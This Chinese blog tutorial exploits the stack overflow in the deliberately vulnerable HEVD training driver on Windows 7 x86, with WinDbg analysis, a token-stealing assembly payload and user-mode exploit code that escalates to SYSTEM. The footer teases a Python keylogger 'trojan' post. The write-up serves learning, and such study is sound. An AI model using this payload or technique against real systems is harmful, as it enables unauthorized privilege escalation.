作者:huity
出处:https://www.cnblogs.com/huity35/p/11231155.html
版权:本文版权归作者所有。文章在看雪、博客园、个人博客同时发布。
转载:欢迎转载,但未经作者同意,必须保留此段声明;必须在文章中给出原文连接;否则必究法律责任。

0x00 前言

上一篇主要学习了环境搭建及前期项目准备,本篇开始学习HEVD中的内核栈溢出漏洞(StackOverflow)。需要参考环境的可参考:

实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1

实验工具:VS2015+Windbg+IDA Pro+KmdManager+DbgViewer

这几天看到有很多同样开始研究二进制漏洞的小伙伴,几经交流,先膜再说。传送门:TJ

驱动安装

从github上下载HEVD的源码编译生成驱动,打开我们之前准备好的虚拟机和windbg,将驱动模块和利用模块拷贝到虚拟机,用KMD加载即可。
打开cmd,运行我们的利用程序,如下:
查看是否加载成功,windbg使用lm m H*可以看到刚刚加载的HEVD.sys。

0x01 漏洞原理

栈溢出

顾名思义,即缓冲区中,超长的数据向小缓冲区拷贝数据,数据超出了小缓冲区,覆盖掉了小缓冲之后的数据,此称为缓冲区溢出。而栈溢出是缓冲区溢出的一种,类似的还有堆溢出,不同的是栈溢出发生在栈中,而堆溢出发生在堆中。具体更细致的理解,可参考《0Day安全》(第二版)中第2、5、7章的介绍。
那么当我们设计将返回地址溢出覆盖为我们自己的程序地址,那么目标程序即被利用。

分析

打开..\HackSysExtremeVulnerableDriver-master\Driver\HEVD\BufferOverflowStack.c,看到触发漏洞的函数TriggerBufferOverflowStack,其中针对存在漏洞的版本和不存在漏洞的版本的源码有一个很好的对比展示,如下:
ULONG KernelBuffer[BUFFER_SIZE] = {  };
...
#ifdef SECURE //安全版本
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else //漏洞版本
DbgPrint("[+] Triggering Buffer Overflow in Stack\n");
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
在不安全的版本中,RtlCopyMemory函数进行内存拷贝时,直接使用Ring3传入的内存块大小,没有进行任何的校验。而在安全的版本中,内存拷贝大小被限制为目标缓冲区大小,即限制了栈溢出的发生。那么,当我们编译为不安全版本时,即可进行漏洞利用。
再向上翻看代码时,我们注意到内核缓冲区的大小为BUFFER_SIZE大小,查看宏可知为512,乘以32位ULONG即为0x800大小。

0x02 漏洞利用

提权

对于系统进程而言,如system.exe或者csrss.exe,当我们用自己的普通用户进程打开OpenProcess时,往往都会返回0x5的错误,即拒绝访问。那是因为普通进程的权限是比较低的,想要打开高权限程序必须具有高于或等于目标进程权限,才能对其进程操作。
那么如何提升当前进程的权限呢,常用的一种做法是,通过Token令牌修改。

即将目标进程的 Token 结构数据或指针替换成 System 进程等系统进程的 Token 结构数据或指针。这样一来进程将以系统进程的身份执行任何行为,所有需要校验令牌的操作都将可以畅通无阻地进行。

第一步首先需要定位到System进程的EPROCES结构地址,常见做法是通过fs寄存器,其指向当前活动线程的TEB结构(线程结构),在Win7 x86 sp1环境下,其偏移0x124为当前线程KTHREAD结构:

kd> r fs
fs=
kd> dd fs:[0x124]
: 83f7d380 83f7d380
: 9e090106 0001007f
:
:
:
:
:
: 83f0cae7 83e4ff64 kd> dt _KTHREAD 83f7d380
nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
...
+0x040 ApcState : _KAPC_STATE
+0x040 ApcStateFill : [] "???"
+0x057 Priority : ''
... kd> dt _KAPC_STATE
nt!_KAPC_STATE
+0x000 ApcListHead : [] _LIST_ENTRY
+0x010 Process : Ptr32 _KPROCESS
+0x014 KernelApcInProgress : UChar
+0x015 KernelApcPending : UChar
+0x016 UserApcPending : UChar
_KTHREAD结构的偏移0x50处为_KPROCESS结构,而_KPROCESS为_EPOCESS结构的第一个字段,即定位到了_EPROCESS结构。
 
第二步通过_EPROCESS中偏移0xb8处的进程双向链表,偏移0xb4处的进程标识符以及System进程的进程标识符4遍历链表匹配到System进程。在EPROCESS结构偏移0xF8处为_EX_FAST_REF结构,为Token 成员域。
kd> dt _EPROCESS
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
...
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [] Uint4B
+0x0c8 ProcessQuotaPeak : [] Uint4B
...
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : Uint4B
... kd> dt _EX_FAST_REF
nt!_EX_FAST_REF
+0x000 Object : Ptr32 Void
+0x000 RefCnt : Pos , Bits
+0x000 Value : Ui

数值的低 3 位表示引用计数,去除低 3 位数值后的 32 位完整数值指向实际表示的内存地址。

Token 结构中存储与当前进程相关的安全令牌的数据内容,如用户安全标识符(Sid),特权级(Privileges)等,代表当前进程作为访问者角色访问其他被访问对象时,访问权限和身份校验的依据。当前的 System 进程的 Token 结构块的数据如下:

kd> !token
_TOKEN 0xffffffff89201270
TS Session ID:
User: S---
User Groups:
S----
Attributes - Default Enabled Owner
S---
Attributes - Mandatory Default Enabled
S---
Attributes - Mandatory Default Enabled
S---
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S---
Privs:
0x000000002 SeCreateTokenPrivilege Attributes -
0x000000003 SeAssignPrimaryTokenPrivilege Attributes -
...
0x000000022 SeTimeZonePrivilege Attributes - Enabled Default
0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default
Authentication ID: (,3e7)
Impersonation Level: Anonymous
TokenType: Primary
Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use )
Token ID: 3ea ParentToken ID:
Modified ID: (, 3eb)
RestrictedSidCount: RestrictedSids: 0x0000000000000000
OriginatingLogonSession:

第三步,用系统进程令牌替换当前进程令牌。

根据以上步骤,参照..\HackSysExtremeVulnerableDriver-master\Exploit\Payloads.c,构造的Payload代码如下:
VOID TokenStealingPayloadWin7() {
__asm {
pushad ; 保存寄存器状态
xor eax, eax ; 清空eax
mov eax, fs:[eax + KTHREAD_OFFSET] ;获取当前线程KTHREAD结构
mov eax, [eax + EPROCESS_OFFSET] ; 获取_KPROCESS结构
mov ecx, eax ; KProcess为EProcess第一个字段 这里将目标进程EProcess首地址放进ecx 方便后面替换
mov edx, SYSTEM_PID ; SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; _EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ;_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; 获取System进程令牌
mov [ecx + TOKEN_OFFSET], edx ; 用系统进程令牌替换目标进程令牌
; End of Token Stealing Stub
popad ; 恢复现场
; Kernel Recovery Stub
xor eax, eax ; 设置返回状态为成功0
add esp, ; 恢复堆栈
pop ebp ; 弹栈
ret ;
}
}

利用代码

通过DeviceIoControl的其他内存模式IOCTL(METHOD_INEITHER)方法进行环3和环0通信交互。
    #define HACKSYS_EVD_IOCTL_STACK_OVERFLOW                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
这种交互方法,驱动层可以直接访问用户模式地址,使用用户模式地址必须保证调用DeviceIoControl提供线程和派遣函数运行在同一个线程上下文中。
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
__try {
...
//获取设备对象句柄
hFile = GetDeviceHandle(FileName); ...
//动态申请内存 2084
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
UserModeBufferSize); ...
RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);//0x41 'A' MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));//申请区域的倒数第四的字节 0x368068+0x824-4 = 0x368888 ...
*(PULONG)MemoryAddress = (ULONG)EopPayload;//写入payload地址 DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
(LPVOID)UserModeBuffer,
(DWORD)UserModeBufferSize,
NULL,
,
&BytesReturned,
NULL); HeapFree(GetProcessHeap(), , (LPVOID)UserModeBuffer);
UserModeBuffer = NULL;
}

动态申请UserModeBufferSize(0x824)大小内存,使用字符A填充,修改最后四字节为Payload地址。驱动层通过IO控制码进入栈溢出处理历程,也即文章开始处的触发函数。

 

此时传入用户模式地址为0x2c8068,大小为0x824
可以看到,此地址与环三代码一致,最后四位为payload地址。
kd> db 0x002c8068 l
002c8068 - AAAAAAAAAAAAAAAA
002c8078 - AAAAAAAAAAAAAAAA
...
002c8868 - AAAAAAAAAAAAAAAA
002c8878 - AAAAAAAAAAAAAAAA
002c8888 b6 3f ..?. kd> db 013f13b6
013f13b6 e9 e9 3b- e9 d6 e9 .%u... ;........
013f13c6 e9 bc - e9 4c d5 e9 ....A....L....'
013f13d6 c5 e9 f4 a1 -e9 9d d6 e9 d7 ................
013f13e6 e9 e9- d6 e9 2d ...sE........)-.
013f13f6 e9 d0 a1 e9 ef-ba e9 2a bb ............*...
013f1406 e9 a1 e9 b6 a1- e9 0b a2 e9 .s..............
013f1416 a1 e9 a1 - e9 dc b3 e9 .....q..........
013f1426 a2 e9 d7 -e9 ff a1 e9 d5 ..............(. 013f88f2 b930000000 mov ecx,30h
kd> u 013f13b6++ l
013f88e0 push ebp
013f88e1 8bec mov ebp,esp
...
013f88fe pushad
013f88ff 33c0 xor eax,eax
013f8901 648b8024010000 mov eax,dword ptr fs:[eax+124h]
013f8908 8b4050 mov eax,dword ptr [eax+50h]
013f890b 8bc8 mov ecx,eax
013f890d ba04000000 mov edx,
013f8912 8b80b8000000 mov eax,dword ptr [eax+0B8h]
013f8918 2db8000000 sub eax,0B8h
013f891d 3990b4000000 cmp dword ptr [eax+0B4h],edx
013f8923 75ed jne 013f8912
013f8925 8b90f8000000 mov edx,dword ptr [eax+0F8h]
013f892b 8991f8000000 mov dword ptr [ecx+0F8h],edx
013f8931 popad
...
013f894e c3 ret
013f894f cc int

再来看看内核栈缓冲区,明显可以看到,覆盖范围超出了内核栈缓冲区,并且最后四个字节为payload跳转地址。

kd> dt KernelBuffer
Local var @ 0x987fb288 Type unsigned long[] kd> db 0x987fb288 l 0x800 //覆盖前
987fb288 - ................
987fb298 - ................
...
987fba78 - ................ kd> db 0x987fb288 l 0x824 //覆盖后
987fb288 - AAAAAAAAAAAAAAAA
987fb298 - AAAAAAAAAAAAAAAA
...
987fba98 - AAAAAAAAAAAAAAAA
987fbaa8 b6 3f ..?.

测试中,可以看到我们的payload代码成功执行。

最终提权成功。
 

0x03 防范机制

关于栈溢出的防护,操作系统自身不断的完善,出现了如Linux中Canary、DEP、ASLR、RELRO等系列机制,包括Windows的GS编译选项,对栈保护性上有一定作用,但是近些年来,人们不断的研究下,这些机制又很容易被绕过和关闭,又使新的问题不断出现。

0x04 链接

玉涵师傅的翻译版本:https://bbs.pediy.com/thread-223812.htm

[02] HEVD 内核漏洞之栈溢出的更多相关文章

  1. [04] HEVD 内核漏洞之IntegerOverflow

    作者:huity出处:https://www.cnblogs.com/huity35/p/11252574.html版权:本文版权归作者所有.文章在博客园.看雪.个人博客同时发布.转载:欢迎转载,但未 ...

  2. [03] HEVD 内核漏洞之UAF

    作者:huity出处:https://www.cnblogs.com/huity35/p/11240997.html版权:本文版权归作者所有.文章在博客园.个人博客同时发布.转载:欢迎转载,但未经作者 ...

  3. 内核漏洞学习—熟悉HEVD

    一直以来内核漏洞安全给很多人的印象就是:难,枯燥.但是内核安全是否掌握是衡量一个系统安全工程师水平的标准之一,也是安全从业人员都应该掌握的基本功.本文通过详细的实例带领读者走进内核安全的大门.难度系数 ...

  4. Android内核漏洞利用技术实战:环境搭建&栈溢出实战

    前言 Android的内核采用的是 Linux 内核,所以在Android内核中进行漏洞利用其实和在 一般的 x86平台下的 linux 内核中进行利用差不多.主要区别在于 Android 下使用的是 ...

  5. 一则利用内核漏洞获取root权限的案例【转】

    转自:https://blog.csdn.net/u014089131/article/details/73933649 目录(?)[-] 漏洞描述 漏洞的影响范围 漏洞曝光时间 漏洞产生的原因 漏洞 ...

  6. 【翻译】 Windows 内核漏洞学习—空指针解引用

    Windows Kernel Exploitation – NullPointer Dereference 原文地址:https://osandamalith.com/2017/06/22/windo ...

  7. Windows 内核漏洞学习—空指针解引用

    原标题:Windows Kernel Exploitation – NullPointer Dereference 原文地址:https://osandamalith.com/2017/06/22/w ...

  8. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  9. CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0

    关键字:CVE-2014-0038,内核漏洞,POC,利用代码,本地提权,提权,exploit,cve analysis, privilege escalation, cve, kernel vuln ...

随机推荐

  1. DHTMLEdit控件的安装

    xp中自带了DHTMLEdit.ocx, 所以只需安装即可 但是可视化设计面板中没有这个控件,需要我们手动安装一下 具体方式: [import AcitveX control  在控件板上的安装]一. ...

  2. python trojan development 2nd —— use python to send mail and listen to the key board then combine them

    请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!! from pynput.keyboard import Key,Listener import logging impor ...

  3. jdk9新特性之jShell

    jdk9还没研究完,结果jdk10都停止维护了. 最近回顾jdk9,发现了一个新特性--jShell. jdk9是在2017年的9月份发布的,这是我开始感觉入门java的时间.从jdk10开始就是半年 ...

  4. item 快捷键

    Ctrl+a: 光标移动到行首 Ctrl+e: 光标移动到行末 Ctrl+f: 前移一个字符 Ctrl+b: 后退一个字符 Ctrl+l/r: 清屏 Ctrl+p: 显示历史命令 Ctrl+r: 倒转 ...

  5. 长春理工大学第十四届程序设计竞赛(重现赛)J

    J.Printout 题目:链接:https://ac.nowcoder.com/acm/contest/912/J 题目: 小r为了打校赛,他打算去打字社打印一份包含世界上所有算法的模板. 到了打字 ...

  6. springboot+redis+Interceptor+自定义annotation实现接口自动幂等

    前言: 在实际的开发项目中,一个对外暴露的接口往往会面临很多次请求,我们来解释一下幂等的概念:任意多次执行所产生的影响均与一次执行的影响相同.按照这个含义,最终的含义就是 对数据库的影响只能是一次性的 ...

  7. SCIgen与野鸡期刊的梗

    layout: post title: "SCIgen与野鸡期刊的梗" date: 2019-04-28 19:06:21 +0800 --- 作者:吴甜甜 个人博客网站: wut ...

  8. 简单的 自动生成 二维码 PHP 方法

    方法一:<style type="text/css">.eweima{    width:200px; height:200px; margin:auto;}</ ...

  9. navicat远程连接mysql10060

    navicat连接mysql时,出现2003-Can't connect to MySql server on '47.106.228.160'(10060"Unknow error&quo ...

  10. 2015-2016 ACM-ICPC, NEERC, Northern Subregional Contest D:Distribution in Metagonia(构造)

    http://codeforces.com/gym/100801/attachments 题意:给出一个数n(1 <= n <= 1e18),将 n 拆成 m 个整数,其中 m 必须是 2 ...